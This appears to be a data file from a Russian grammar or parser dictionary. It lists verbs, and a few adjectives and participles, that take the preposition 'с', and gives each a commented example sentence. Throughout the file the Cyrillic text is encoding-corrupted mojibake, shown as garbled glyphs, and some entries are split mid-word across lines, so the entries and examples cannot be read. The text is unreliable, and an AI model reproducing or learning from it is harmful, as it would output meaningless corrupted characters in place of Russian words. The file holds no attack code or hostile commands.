rus_verbs:ะะะฎะะะขะฌะกะฏ{}, // ะฒะปัะฑะธะปัั ะฒ ะฝะตะต ั ะฟะตัะฒะพะณะพ ะฒะทะณะปัะดะฐ (ะะะฎะะะขะฌะกะฏ)
rus_verbs:ะ ะะะะะะะขะฌะกะฏ{}, // ัะตะฟะตัั ะบัะธะบ ัะฐะทะดะฐะฒะฐะปัั ัะพ ะฒัะตั
ััะพัะพะฝ (ะ ะะะะะะะขะฌะกะฏ)
rus_verbs:ะะะกะะะขะ ะะขะฌ{}, // ะะพัะผะพััะธัะต ะฝะฐ ััะพ ั ะผะพะตะน ัะพัะบะธ ะทัะตะฝะธั (ะะะกะะะขะ ะะขะฌ ะก ัะพะด)
rus_verbs:ะกะฅะะะะขะฌ{}, // ะฟัะธะฝะธะผะฐัั ััะฐััะธะต ะฒะพ ะฒัะตั
ััะธั
ัะพะฑััะธัั
- ะทะฝะฐัะธั ะฟัะพะดะพะปะถะฐัั ัั
ะพะดะธัั ั ัะผะฐ (ะกะฅะะะะขะฌ ะก ัะพะด)
rus_verbs:ะ ะฃะฅะะฃะขะฌ{}, // ะ ะะฐัะบะธัะธะธ ะผะธะบัะพะฐะฒัะพะฑัั ััั
ะฝัะป ั ะผะพััะฐ (ะ ะฃะฅะะฃะขะฌ ะก)
rus_verbs:ะฃะะะะะขะฌ{}, // ัะตะบะพะผะตะฝะดะพะฒะฐัั ัะฒะพะปะธัั ะธั
ั ัะฐะฑะพัั (ะฃะะะะะขะฌ ะก)
rus_verbs:ะะฃะะะขะฌ{}, // ะตะดะฐ , ะบัะฟะปะตะฝะฝะฐั ั ััะบ (ะะฃะะะขะฌ ะก ัะพะด)
rus_verbs:ะฃะะ ะะขะฌ{}, // ะฟะพะผะพัั ัะฑัะฐัั ัะพ ััะพะปะฐ? (ะฃะะ ะะขะฌ ะก)
rus_verbs:ะขะฏะะฃะขะฌ{}, // ั ะผะพัั ััะฝัะปะพ ะฒะตััะพะผ (ะขะฏะะฃะขะฌ ะก)
rus_verbs:ะะ ะะฅะะะะขะฌ{}, // ะฟัะธั
ะพะดะธั ั ัะฐะฑะพัั ะผัะถ (ะะ ะะฅะะะะขะฌ ะก)
rus_verbs:ะะ ะะะะกะขะฌ{}, // ะธะทะพะฑัะฐะถะตะฝะธะต ะฟัะพะฟะฐะปะพ ั ัะบัะฐะฝะฐ (ะะ ะะะะกะขะฌ ะก)
rus_verbs:ะะะขะฏะะฃะขะฌ{}, // ั ะฑะฐะปะบะพะฝะฐ ะฟะพััะฝัะปะพ ั
ะพะปะพะดะพะผ (ะะะขะฏะะฃะขะฌ ะก ัะพะด)
rus_verbs:ะ ะะะะะขะฌะกะฏ{}, // ั ะฟะฐะปัะฑั ัะฐะทะดะฐะปัั ัะฒะธัั (ะ ะะะะะขะฌะกะฏ ะก ัะพะด)
rus_verbs:ะะะะขะ{}, // ะทะฐัะตะป ั ะดััะณะพะน ััะพัะพะฝั (ะะะะขะ ะก ัะพะด)
rus_verbs:ะะะงะะขะฌ{}, // ะดะฐะฒะฐะน ะฝะฐัะฝะตะผ ั ััะพะณะพ (ะะะงะะขะฌ ะก ัะพะด)
rus_verbs:ะฃะะะกะขะ{}, // ะดะฐะปะฐ ัะฒะตััะธ ั ัะฐะทะฒะฐะปะธะฝ (ะฃะะะกะขะ ะก ัะพะด)
rus_verbs:ะะะฃะกะะะขะฌะกะฏ{}, // ั ะณะพั ะพะฟััะบะฐะปะฐัั ะฝะพัั (ะะะฃะกะะะขะฌะกะฏ ะก)
rus_verbs:ะะกะะะงะะขะฌ{}, // ะขัะธััะฐะฝ ะฒัะบะพัะธะป ั ะผะตััะฐ (ะะกะะะงะะขะฌ ะก ัะพะด)
rus_verbs:ะะ ะะขะฌ{}, // ะฑะตัั ั ะฝะตะณะพ ะฟัะธะผะตั (ะะ ะะขะฌ ะก ัะพะด)
rus_verbs:ะะ ะะะะะะฏะขะฌะกะฏ{}, // ะณะพะปะพะฒะฐ ะฟัะธะฟะพะดะฝัะปะฐัั ั ะฟะปะตัะฐ (ะะ ะะะะะะฏะขะฌะกะฏ ะก ัะพะด)
rus_verbs:ะะะฏะะะขะฌะกะฏ{}, // ะฒัะฐะดะฝะธะบะธ ะฟะพัะฒะธะปะธัั ั ะฒะพััะพะบะฐ (ะะะฏะะะขะฌะกะฏ ะก ัะพะด)
rus_verbs:ะะะะะขะะขะฌ{}, // ั ะผะพัั ะฝะฐะปะตัะตะป ะฒะตัะตั (ะะะะะขะะขะฌ ะก ัะพะด)
rus_verbs:ะะะะะขะฌะกะฏ{}, // ะะฐัะฐะฝ ะฒะทะฒะธะปัั ั ะผะตััะฐ (ะะะะะขะฌะกะฏ ะก ัะพะด)
rus_verbs:ะะะะะะ ะะขะฌ{}, // ะฟะพะดะพะฑัะฐะป ั ะทะตะผะปะธ ะบะพะฟัะต (ะะะะะะ ะะขะฌ ะก)
rus_verbs:ะะะ ะะฃะขะฌะกะฏ{}, // ะะธัะธะปะป ะดะตัะฝัะปัั ั ะผะตััะฐ (ะะะ ะะฃะขะฌะกะฏ ะก ัะพะด)
rus_verbs:ะะะะะ ะะฉะะขะฌะกะฏ{}, // ะพะฝะธ ะฒะพะทะฒัะฐัะฐะปะธัั ั ัะตะบะธ (ะะะะะ ะะฉะะขะฌะกะฏ ะก ัะพะด)
rus_verbs:ะะะซะขะฌ{}, // ะฟะปัะปะธ ะพะฝะธ ั ะทะฐะฟะฐะดะฐ (ะะะซะขะฌ ะก ัะพะด)
rus_verbs:ะะะะขะฌ{}, // ะพะดะฝะพ ะทะฝะฐะปะธ ั ะดัะตะฒะฝะพััะธ (ะะะะขะฌ ะก)
rus_verbs:ะะะะะะะะขะฌะกะฏ{}, // ะฒัะฐะดะฝะธะบ ะฝะฐะบะปะพะฝะธะปัั ั ะปะพัะฐะดะธ (ะะะะะะะะขะฌะกะฏ ะก)
rus_verbs:ะะะงะะขะฌะกะฏ{}, // ะฝะฐัะฐะปะพัั ะฒัะต ัะพ ัะบัะบะธ (ะะะงะะขะฌะกะฏ ะก)
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะะะะะกะขะะซะ{}, // ะัะปััััะฐ ะตะณะพ ะธะทะฒะตััะฝะฐ ัะพ ะฒัะตะผะตะฝ ะณะปัะฑะพะบะพะน ะดัะตะฒะฝะพััะธ (ะะะะะกะขะะซะ ะก)
rus_verbs:ะกะะะขะฌ{}, // ะะพััะฒ ะฒะตััะฐ ัะฑะธะป ะะฐะฝัะบั ั ะฝะพะณ (ts ะกะะะขะฌ ะก)
rus_verbs:ะกะะะะ ะะขะฌะกะฏ{}, // ะพะฝะธ ัะพะฑะธัะฐัััั ััะดะฐ ัะพ ะฒัะตะน ัะฐะฒะฝะธะฝั. (ะกะะะะ ะะขะฌะกะฏ ะก ัะพะด)
rus_verbs:ัะผััั{}, // ะะพะถะดั ะดะพะปะถะตะฝ ัะผััั ั ะปะธัััะตะฒ ะฒัั ะฟัะปั. (ะกะะซะขะฌ ะก)
rus_verbs:ะฟัะธะฒััะฐัั{}, // ะะฐััะธะฝ ะฟัะธะฒััะฐะป ัะพ ัะฒะพะตะณะพ ัััะปะฐ. (ะฟัะธะฒััะฐัั ั)
rus_verbs:ัะฟะฐััั{}, // ััะถะตััั ัะฟะฐะปะฐ ั ะดััะธ. (ัะฟะฐััั ั)
rus_verbs:ะฒัะณะปัะดะตัั{}, // ัะฐะบ ะพะฝะพ ัะพ ััะพัะพะฝั ะฒัะณะปัะดะตะปะพ. (ะะซะะะฏะะะขะฌ ะก)
rus_verbs:ะฟะพะฒะตัะฝััั{}, // ะบ ะฒะตัะตัั ะพะฝะธ ะฟะพะฒะตัะฝัะปะธ ั ะฝะตะต ะฝะฐะฟัะฐะฒะพ. (ะะะะะ ะะฃะขะฌ ะก)
rus_verbs:ะขะฏะะฃะขะฌะกะฏ{}, // ัะพ ััะพัะพะฝั ัะตะบะธ ะบะพ ะผะฝะต ััะฝัะปะธัั ัะทัะบะธ ััะผะฐะฝะฐ. (ะขะฏะะฃะขะฌะกะฏ ะก)
rus_verbs:ะะะะะะขะฌ{}, // ะะตะฝะตัะฐะป ะฒะพะตะฒะฐะป ั ัะฝัั
ะปะตั. (ะะะะะะขะฌ ะก ัะตะณะพ-ัะพ)
rus_verbs:ะะะะะขะฌ{}, // ะะพะปะพะฒะฐ ะฑะพะปะธั ั ะฟะพั
ะผะตะปัั. (ะะะะะขะฌ ะก)
rus_verbs:ะฟัะธะฑะปะธะถะฐัััั{}, // ัะพ ััะพัะพะฝั ะพัััะพะฒะฐ ะฟัะธะฑะปะธะถะฐะปะฐัั ะปะพะดะบะฐ.
rus_verbs:ะะะขะฏะะฃะขะฌะกะฏ{}, // ัะพ ะฒัะตั
ััะพัะพะฝ ะบ ะฝะตะผั ะฟะพััะฝัะปะธัั ััะบะธ. (ะะะขะฏะะฃะขะฌะกะฏ ะก)
rus_verbs:ะฟะพะนัะธ{}, // ะฝะธะทะบะธะน ะณัะป ะฟะพัะตะป ัะพ ััะพัะพะฝั ะดะพะปะธะฝั. (ะฟะพัะตะป ั)
rus_verbs:ะทะฐัะตะฒะตะปะธัััั{}, // ัะพ ะฒัะตั
ััะพัะพะฝ ะทะฐัะตะฒะตะปะธะปะธัั ะบัััั. (ะทะฐัะตะฒะตะปะธัััั ั)
rus_verbs:ะะงะะขะฌะกะฏ{}, // ัะพ ััะพัะพะฝั ะปะตัะฐ ะผัะฐะปะธัั ะฒัะฐะดะฝะธะบะธ. (ะะงะะขะฌะกะฏ ะก)
rus_verbs:ะะะะะขะฌ{}, // ะปัะดะธ ะฑะตะถะฐะปะธ ัะพ ะฒัะตั
ะฝะพะณ. (ะะะะะขะฌ ะก)
rus_verbs:ะกะะซะจะะขะฌะกะฏ{}, // ััะผ ัะปััะฐะปัั ัะพ ััะพัะพะฝั ะผะพัั. (ะกะะซะจะะขะฌะกะฏ ะก)
rus_verbs:ะะะขะะขะฌ{}, // ัะพ ััะพัะพะฝั ะดะตัะตะฒะฝะธ ะปะตัะตะปะฐ ะฟัะธัะฐ. (ะะะขะะขะฌ ะก)
rus_verbs:ะะะ ะะขะฌ{}, // ะฒัะฐะณะธ ะฟััั ัะพ ะฒัะตั
ััะพัะพะฝ. (ะะะ ะะขะฌ ะก)
rus_verbs:ะะะกะซะะะขะฌะกะฏ{}, // ะฒะพะฟัะพัั ะฟะพััะฟะฐะปะธัั ัะพ ะฒัะตั
ััะพัะพะฝ. (ะะะกะซะะะขะฌะกะฏ ะก)
rus_verbs:ะะะขะ{}, // ัะณัะพะทะฐ ัะปะฐ ัะพ ััะพัะพะฝั ะผะพัั. (ะะะขะ ะก + ัะพะด.ะฟ.)
rus_verbs:ะะะกะะซะจะะขะฌะกะฏ{}, // ัะพ ััะตะฝ ะฟะพัะปััะฐะปะธัั ะบัะธะบะธ ัะถะฐัะฐ. (ะะะกะะซะจะะขะฌะกะฏ ะก)
rus_verbs:ะะะ ะฃะจะะขะฌะกะฏ{}, // ะทะฒัะบะธ ะพะฑัััะธะปะธัั ัะพ ะฒัะตั
ััะพัะพะฝ. (ะะะ ะฃะจะะขะฌะกะฏ ะก)
rus_verbs:ะฃะะะ ะะขะฌ{}, // ะณะพะปะพัะฐ ัะดะฐัะธะปะธ ัะพ ะฒัะตั
ััะพัะพะฝ. (ะฃะะะ ะะขะฌ ะก)
rus_verbs:ะะะะะะะขะฌะกะฏ{}, // ัะพ ััะพัะพะฝั ะดะตัะตะฒะฝะธ ะฟะพะบะฐะทะฐะปะธัั ะทะตะผะปัะฝะต. (ะะะะะะะขะฌะกะฏ ะก)
rus_verbs:ะฟััะณะฐัั{}, // ะฟัะธะดะตััั ะฟััะณะฐัั ัะพ ะฒัะพัะพะณะพ ััะฐะถะฐ. (ะฟััะณะฐัั ั)
rus_verbs:ะกะขะะฏะขะฌ{}, // ัะพ ะฒัะตั
ััะพัะพะฝ ััะพัะป ะปะตั. (ะกะขะะฏะขะฌ ะก)
rus_verbs:ะดะพะฝะพัะธัััั{}, // ััะผ ัะพ ะดะฒะพัะฐ ะดะพะฝะพัะธะปัั ััะดะพะฒะธัะฝัะน. (ะดะพะฝะพัะธัััั ั)
rus_verbs:ะผะตัะฐัั{}, // ะผะตัะฐัั ะฒะพะดั ั ะผัะบะพะน (ะผะตัะฐัั ั)
rus_verbs:ะฒะตััะธัั{}, // ะะตัะตะณะพะฒะพัั ะฒะตะดัััั ั ะฟะพะทะธัะธะธ ัะธะปั. (ะฒะตััะธัั ั)
rus_verbs:ะฒััะฐะฒะฐัั{}, // ะะฝ ะฝะต ะฒััะฐะตั ั ะบัะพะฒะฐัะธ. (ะฒััะฐะฒะฐัั ั)
rus_verbs:ะพะบััะถะฐัั{}, // ะทะตะปะตะฝัะต ััะฟะฐะปััะฐ ะพะบััะถะฐะปะธ ะตะต ัะพ ะฒัะตั
ััะพัะพะฝ. (ะพะบััะถะฐัั ั)
rus_verbs:ะฟัะธัะธัะฐัััั{}, // ะก ะฒะฐั ะฟัะธัะธัะฐะตััั 50 ััะฑะปะตะน.
rus_verbs:ัะพัะบะพะปัะทะฝััั{}, // ะตะณะพ ะพััััะน ะบะปัะฒ ัะพัะบะพะปัะทะฝัะป ั ะตะต ััะบะธ.
rus_verbs:ัะพะบัะฐัะธัั{}, // ะะณะพ ัะพะบัะฐัะธะปะธ ัะพ ัะปัะถะฑั.
rus_verbs:ะฟะพะดะฝััั{}, // ััะบะฐ ะฟะพะดะฝัะปะฐ ั ะฟะพะปะฐ
rus_verbs:ะฟะพะดะฝะธะผะฐัั{},
rus_verbs:ัะฐัะธัั{}, // ัะตะผ ะฒัะตะผะตะฝะตะผ ะดััะณะธะต ะฟัะธัะตะปััั ัะฐัะธะปะธ ัะพ ะฒัะตั
ััะพัะพะฝ ะบะฐะผะฝะธ.
rus_verbs:ะฟะพะปะตัะตัั{}, // ะะฐะปััะธะบ ะฟะพะปะตัะตะป ั ะปะตััะฝะธัั.
rus_verbs:ะปะธัััั{}, // ะฒะพะดะฐ ะปัะตััั ั ะฝะตะฑะฐ
rus_verbs:ะฝะฐัะตัั{}, // ะฝะฐัะตัั ั ัะฐะฟะพะณ
rus_verbs:ัะฟััะณะธะฒะฐัั{}, // ัะฟััะณะธะฒะฐัั ั ะดะฒะธะถััะตะณะพัั ััะฐะผะฒะฐั
rus_verbs:ััะตะทะถะฐัั{}, // ััะตะทะถะฐัั ั ะทะฐัะฒะปะตะฝะฝะพะน ัะตะผั
rus_verbs:ะฟะพะบะฐััะฒะฐัััั{}, // ะฟะพะบะฐััะฒะฐัััั ัะพ ัะผะตั
ั
rus_verbs:ะฟะตัะตัะบะฐะบะธะฒะฐัั{}, // ะฟะตัะตัะบะฐะบะธะฒะฐัั ั ะพะดะฝะพะณะพ ะฟัะธะผะตัะฐ ะฝะฐ ะดััะณะพะน
rus_verbs:ัะดะธัะฐัั{}, // ัะดะธัะฐัั ั ัะตะปะฐ ะบะพะถั
rus_verbs:ัะพัะบะฐะปัะทัะฒะฐัั{}, // ัะพัะบะฐะปัะทัะฒะฐัั ั ะบัััะบะฐ
rus_verbs:ัะผะตัะฐัั{}, // ัะผะตัะฐัั ั ะฟัะธะปะฐะฒะบะพะฒ
rus_verbs:ะบัะฒััะบะฝััััั{}, // ะบัะฒััะบะฝััััั ัะพ ัััะฟะตะฝัะบะธ
rus_verbs:ะฟัะพะบะฐัะบะฐัั{}, // ะฟัะพะบะฐัะบะฐัั ั ะฒะตัะบะธ
rus_verbs:ััััั
ะธะฒะฐัั{}, // ััััั
ะธะฒะฐัั ั ะพะดะตะถะดั
rus_verbs:ัะฒะฐะปะธะฒะฐัััั{}, // ัะฒะฐะปะธะฒะฐัััั ั ะปะตััะฝะธัั
rus_verbs:ัะปะธะทะฝััั{}, // ัะปะธะทะฝััั ั ะปะธัะฐ
rus_verbs:ะดะพััะฐะฒะปััััั{}, // ะดะพััะฐะฒะปััััั ั ัะตัะผั
rus_verbs:ะพะฑัััะฟะฐัั{}, // ะพะฑัััะฟะฐัั ั ะดะฒัั
ััะพัะพะฝ
rus_verbs:ะฟะพะฒัะบะฐะบะธะฒะฐัั{}, // ะฟะพะฒัะบะฐะบะธะฒะฐัั ั ะผะตัั
rus_verbs:ะพะฑะพะทัะตะฒะฐัั{}, // ะพะฑะพะทัะตะฒะฐัั ั ะฒะตััะธะฝั
rus_verbs:ัะปะธะฝััั{}, // ัะปะธะฝััั ั ััะพะบะฐ
rus_verbs:ัะผัะฒะฐัั{}, // ัะผัะฒะฐัั ั ะปะธัะฐ
rus_verbs:ัะฟะธั
ะฝััั{}, // ัะฟะธั
ะฝััั ัะพ ััะพะปะฐ
rus_verbs:ะพะฑะพะทัะตัั{}, // ะพะฑะพะทัะตัั ั ะฒะตััะธะฝั
rus_verbs:ะฝะฐะบัะฟะธัั{}, // ะฝะฐะบัะฟะธัั ั ััะบ
rus_verbs:ัั
ะปัะฝััั{}, // ัั
ะปัะฝััั ั ะฑะตัะตะณะฐ
rus_verbs:ัะฟะธะบะธัะพะฒะฐัั{}, // ัะฟะธะบะธัะพะฒะฐัั ั ะบะธะปะพะผะตััะพะฒะพะน ะฒััะพัั
rus_verbs:ัะฟะพะปะทัะธ{}, // ัะฟะพะปะทัะธ ั ะฟะพะปั ะฑะพั
rus_verbs:ัะฑะธะฒะฐัััั{}, // ัะฑะธะฒะฐัััั ั ะฟััะธ
rus_verbs:ะพัะปััะธัััั{}, // ะพัะปััะธัััั ั ะฟะพััะฐ
rus_verbs:ัะธะณะฐะฝััั{}, // ัะธะณะฐะฝััั ั ะบัััะธ
rus_verbs:ัะผะตััะธัั{}, // ัะผะตััะธัั ั ะฟะพััะฐ
rus_verbs:ัะฟะธัะฐัั{}, // ัะฟะธัะฐัั ั ะพัะธะณะธะฝะฐะปัะฝะพะณะพ ััััะพะนััะฒะฐ
ะธะฝัะธะฝะธัะธะฒ:ัะปะตัะฐัั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, ะณะปะฐะณะพะป:ัะปะตัะฐัั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, // ัะปะตัะฐัั ั ััะฐััั
ะดะตะตะฟัะธัะฐััะธะต:ัะปะตัะฐั{},
rus_verbs:ะฝะฐะฟะธะฒะฐัััั{}, // ะฝะฐะฟะธะฒะฐัััั ั ะณะพัั
rus_verbs:ัะฒะตัะธัั{}, // ัะฒะตัะธัั ั ะบัััะธ
rus_verbs:ะทะฐะฟะพะปััะธัั{}, // ะทะฐะฟะพะปััะธัั ัะพ ัะบะปะฐะดะฐ
rus_verbs:ัะฟะฐะดะฐัั{}, // ัะฟะฐะดะฐัั ั ะณะปะฐะท
rus_verbs:ััะฐััะพะฒะฐัั{}, // ััะฐััะพะฒะฐัั ั ะผััะฐ
rus_verbs:ัะฟะตัะตัั{}, // ัะฟะตัะตัั ัะพ ัะบะปะฐะดะฐ
rus_verbs:ัะพะณะฝะฐัั{}, // ัะพะณะฝะฐัั ั ะถะธะฒะพัะฐ
rus_verbs:ัะบะฐััะฒะฐัััั{}, // ัะบะฐััะฒะฐัััั ัะพ ััะพะณะฐ
rus_verbs:ัะฝััััั{}, // ัะฝััััั ั ะฒัะฑะพัะพะฒ
rus_verbs:ัะปะตะทะฐัั{}, // ัะปะตะทะฐัั ัะพ ััะพะปะฐ
rus_verbs:ะดะตะฒะฐัััั{}, // ะดะตะฒะฐัััั ั ะฟะพะดะฒะพะดะฝะพะน ะปะพะดะบะธ
rus_verbs:ะพะณะปะฐัะธัั{}, // ะพะณะปะฐัะธัั ั ััะธะฑัะฝั
rus_verbs:ะบัะฐััั{}, // ะบัะฐััั ัะพ ัะบะปะฐะดะฐ
rus_verbs:ัะฐััะธัะธัั{}, // ัะฐััะธัะธัั ั ัะพััะฐ
rus_verbs:ัะณะฐะดัะฒะฐัั{}, // ัะณะฐะดัะฒะฐัั ั ะฟะพะปััะปะพะฒะฐ
rus_verbs:ะพัะบะพัะฑะธัั{}, // ะพัะบะพัะฑะธัั ัะพ ััะตะฝั
rus_verbs:ัััะฒะฐัั{}, // ัััะฒะฐัั ั ะณะพะปะพะฒั
rus_verbs:ััะธะฑะธัั{}, // ััะธะฑะธัั ั ะบะพะฝั
rus_verbs:ัะฑะธะฒะฐัั{}, // ัะฑะธะฒะฐัั ั ะพะดะตะถะดั
rus_verbs:ัะพะดัะฐัั{}, // ัะพะดัะฐัั ั ะฟะพัะตัะธัะตะปะตะน
rus_verbs:ััะพะปะบะฝััั{}, // ััะพะปะบะฝััั ั ะณะพัั
rus_verbs:ะพัััั
ะฝััั{}, // ะพัััั
ะฝััั ั ะพะดะตะถะดั
rus_verbs:ัะฑัะฐััะฒะฐัั{}, // ัะฑัะฐััะฒะฐัั ั ะฑะพััะฐ
rus_verbs:ัะฐััััะตะปะธะฒะฐัั{}, // ัะฐััััะตะปะธะฒะฐัั ั ะฑะพััะฐ ะฒะตััะพะปะตัะฐ
rus_verbs:ะฟัะธะดัะธ{}, // ะผะฐัั ัะบะพัะพ ะฟัะธะดะตั ั ัะฐะฑะพัั
rus_verbs:ััะตั
ะฐัั{}, // ะะธัะฐ ััะตั
ะฐะป ั ะณะพัะบะธ
rus_verbs:ัะฒะธัะฐัั{}, // ัะฒะธัะฐัั ั ะฒะตัะพะบ
rus_verbs:ัััะฝััั{}, // ัััะฝััั ั ะบัะพะฒะฐัะธ
rus_verbs:ัะบะธะฝััั{}, // ัะบะธะฝััั ัะฝะตะณ ั ะฟะปะตัะฐ
rus_verbs:ะทะฐะณัะตะผะตัั{}, // ะทะฐะณัะตะผะตัั ัะพ ัััะปะฐ
rus_verbs:ััะฟะฐัััั{}, // ััะฟะฐัััั ั ะฝะตะฑะฐ
rus_verbs:ััััั
ะฝััั{}, // ััััั
ะฝััั ั ะณะพะปะพะฒั
rus_verbs:ัะฟะพะปะทัะธ{}, // ัะฟะพะปะทัะธ ัะพ ัััะปะฐ
rus_verbs:ััะตัะตัั{}, // ััะตัะตัั ั ัะบัะฐะฝะฐ
rus_verbs:ะฟัะพะณะฝะฐัั{}, // ะฟัะพะณะฝะฐัั ั ัะตัะผั
rus_verbs:ัะผะฐั
ะฝััั{}, // ัะผะฐั
ะฝััั ัะพ ััะพะปะฐ
rus_verbs:ัะฟััะบะฐัั{}, // ัะฟััะบะฐัั ั ะฟะพะฒะพะดะบะฐ
rus_verbs:ะดะตัััั{}, // ะดะตัััั ั ะฟะพะดะฒะพะดะฝะพะน ะปะพะดะบะธ
rus_verbs:ัะดะตัะฝััั{}, // ัะดะตัะฝััั ั ัะตะฑั
rus_verbs:ัะดะฒะธะฝััััั{}, // ัะดะฒะธะฝััััั ั ะผะตััะฐ
rus_verbs:ัะปะตัะตัั{}, // ัะปะตัะตัั ั ะบะฐัััะตะบ
rus_verbs:ะพะฑัััะฟะธัั{}, // ะพะฑัััะฟะธัั ัะพ ะฒัะตั
ััะพัะพะฝ
rus_verbs:ัะฝะตััะธ{}, // ัะฝะตััะธ ั ะฟะปะตั
ะธะฝัะธะฝะธัะธะฒ:ัะฑะตะณะฐัั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, ะณะปะฐะณะพะป:ัะฑะตะณะฐัั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, // ัะฑะตะณะฐัั ั ััะพะบะพะฒ
ะดะตะตะฟัะธัะฐััะธะต:ัะฑะตะณะฐั{}, ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ัะฑะตะณะฐััะธะน{},
// ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ัะฑะตะณะฐะฒัะธะน{ ะฒะธะด:ะฝะตัะพะฒะตัั },
rus_verbs:ะทะฐะฟะธัั{}, // ะทะฐะฟะธัั ั ะณะพัั
rus_verbs:ััะฑะฐะฝััั{}, // ััะฑะฐะฝััั ั ะฟะปะตัะฐ
rus_verbs:ัะตัััั
ะฝััััั{}, // ัะตัััั
ะฝััััั ั ะดะพัะฐะดั
rus_verbs:ัััะฒะฐัััั{}, // ัััะฒะฐัััั ั ัะตะฟะธ
rus_verbs:ัะผััััั{}, // ัะผััััั ั ััะพะบะพะฒ
rus_verbs:ะฟะพั
ะธัะธัั{}, // ะฟะพั
ะธัะธัั ัะพ ัะบะปะฐะดะฐ
rus_verbs:ัะผะตััะธ{}, // ัะผะตััะธ ัะพ ัะฒะพะตะณะพ ะฟััะธ
rus_verbs:ะพัะณััะถะฐัั{}, // ะพัะณััะถะฐัั ัะพ ัะบะปะฐะดะฐ
rus_verbs:ะพัะณััะทะธัั{}, // ะพัะณััะทะธัั ัะพ ัะบะปะฐะดะฐ
rus_verbs:ะฑัะพัะฐัััั{}, // ะะตัะธ ะฑัะพัะฐะปะธัั ะฒ ะฒะพะดั ั ะผะพััะฐ
rus_verbs:ะฑัะพัะธัััั{}, // ัะฐะผะพัะฑะธะนัะฐ ะฑัะพัะธะปัั ั ะผะพััะฐ ะฒ ะฒะพะดั
rus_verbs:ะฒะทะธะผะฐัั{}, // ะะธะปะตัะตั ะฒะทะธะผะฐะตั ะฟะปะฐัั ั ะบะฐะถะดะพะณะพ ะฟะพัะตัะธัะตะปั
rus_verbs:ะฒะทะธะผะฐัััั{}, // ะะปะฐัะฐ ะฒะทะธะผะฐะตััั ั ะปัะฑะพะณะพ ะฟะพัะตัะธัะตะปั
rus_verbs:ะฒะทััะบะฐัั{}, // ะัะธััะฐะฒั ะฒะทััะบะฐะปะธ ะดะพะปะณ ั ะฑะตะดะพะปะฐะณะธ
rus_verbs:ะฒะทััะบะธะฒะฐัั{}, // ะัะธััะฐะฒั ะฒะทััะบะธะฒะฐัั ั ะฑะตะดะพะปะฐะณะธ ะฒัะต ะดะพะปะณะธ
rus_verbs:ะฒะทััะบะธะฒะฐัััั{}, // ะะพะปะณะธ ะฒะทััะบะธะฒะฐัััั ั ะฐะปะธะผะตะฝััะธะบะพะฒ
rus_verbs:ะฒัะฟะฐัั
ะธะฒะฐัั{}, // ะฒัะฟะฐัั
ะธะฒะฐัั ั ัะฒะตัะบะฐ
rus_verbs:ะฒัะฟะพัั
ะฝััั{}, // ะฒัะฟะพัั
ะฝััั ั ะฒะตัะบะธ
rus_verbs:ะฒัะฑัะพัะธัั{}, // ะฒัะฑัะพัะธัั ััะพ-ัะพ ั ะฑะฐะปะบะพะฝะฐ
rus_verbs:ะฒัะฒะพะดะธัั{}, // ะฒัะฒะพะดะธัั ั ะพะดะตะถะดั ะฟััะฝะฐ
rus_verbs:ัะฝััั{}, // ัะฝััั ั ะณะพะปะพะฒั
rus_verbs:ะฝะฐัะธะฝะฐัั{}, // ะฝะฐัะธะฝะฐัั ั ััะบะธะทะฐ
rus_verbs:ะดะฒะธะฝััััั{}, // ะดะฒะธะฝััััั ั ะผะตััะฐ
rus_verbs:ะฝะฐัะธะฝะฐัััั{}, // ะฝะฐัะธะฝะฐัััั ั ะณะฐัะดะตัะพะฑะฐ
rus_verbs:ััะตัั{}, // ััะตัั ั ะบัััะธ
rus_verbs:ัะปะตะทัั{}, // ัะปะตะทัั ั ะบััะธ
rus_verbs:ัะฟัััะธัััั{}, // ัะฟัััะธัััั ั ะบัััะธ
rus_verbs:ัะพะนัะธ{}, // ัะพะนัะธ ั ะฟัะตะดะตััะฐะปะฐ
rus_verbs:ัะฒะตัะฝััั{}, // ัะฒะตัะฝััั ั ะฟััะธ
rus_verbs:ัะพัะฒะฐัั{}, // ัะพัะฒะฐัั ั ัะตะฟะธ
rus_verbs:ัะพัะฒะฐัััั{}, // ัะพัะฒะฐัััั ั ะฟะพะฒะพะดะบะฐ
rus_verbs:ััะพะฝััััั{}, // ััะพะฝััััั ั ะผะตััะฐ
rus_verbs:ัะณะฐะดะฐัั{}, // ัะณะฐะดะฐัั ั ะฟะตัะฒะพะน ะฟะพะฟััะบะธ
rus_verbs:ัะฟัััะธัั{}, // ัะฟัััะธัั ั ะปะตััะฝะธัั
rus_verbs:ัะพัะบะพัะธัั{}, // ัะพัะบะพัะธัั ั ะบัััะบะฐ
rus_verbs:ัะดะฒะธะฝััั{}, // ัะดะฒะธะฝััั ั ะผะตััะฐ
rus_verbs:ะฟะพะดะฝะธะผะฐัััั{}, // ััะผะฐะฝ, ะฟะพะดะฝะธะผะฐััะธะนัั ั ะฑะพะปะพัะฐ
rus_verbs:ะฟะพะดะฝััััั{}, // ััะผะฐะฝ, ะฟะพะดะฝัะฒัะธะนัั ั ะฑะพะปะพัะฐ
rus_verbs:ะฒะฐะปะธัั{}, // ะ ะตะทะบะธะน ะฟะพััะฒะธัััะน ะฒะตัะตั ะฒะฐะปะธั ะฟัะพั
ะพะถะธั
ั ะฝะพะณ.
rus_verbs:ัะฒะฐะปะธัั{}, // ะ ะตะทะบะธะน ะฟะพััะฒะธัััะน ะฒะตัะตั ัะฒะฐะปะธั ัะตะฑั ั ะฝะพะณ.
rus_verbs:ะดะพะฝะตััะธัั{}, // ะก ัะปะธัั ะดะพะฝะตััั ััะผ ะดะพะถะดั.
rus_verbs:ะพะฟะฐััั{}, // ะะฟะฐะฒัะธะต ั ะดะตัะตะฒะฐ ะปะธัััั.
rus_verbs:ะผะฐั
ะฝััั{}, // ะะฝ ะผะฐั
ะฝัะป ั ะฑะตัะตะณะฐ ะฒ ะฒะพะดั.
rus_verbs:ะธััะตะทะฝััั{}, // ะธััะตะทะฝััั ั ัะบัะฐะฝะฐ
rus_verbs:ัะฒะฐะปะธัััั{}, // ัะฒะฐะปะธัััั ัะพ ััะตะฝั
rus_verbs:ัะฟะฐััั{}, // ัะฟะฐััั ั ะดะตัะตะฒะฐ
rus_verbs:ะฒะตัะฝััััั{}, // ะะฝ ะตัั ะฝะต ะฒะตัะฝัะปัั ั ัะฐะฑะพัั.
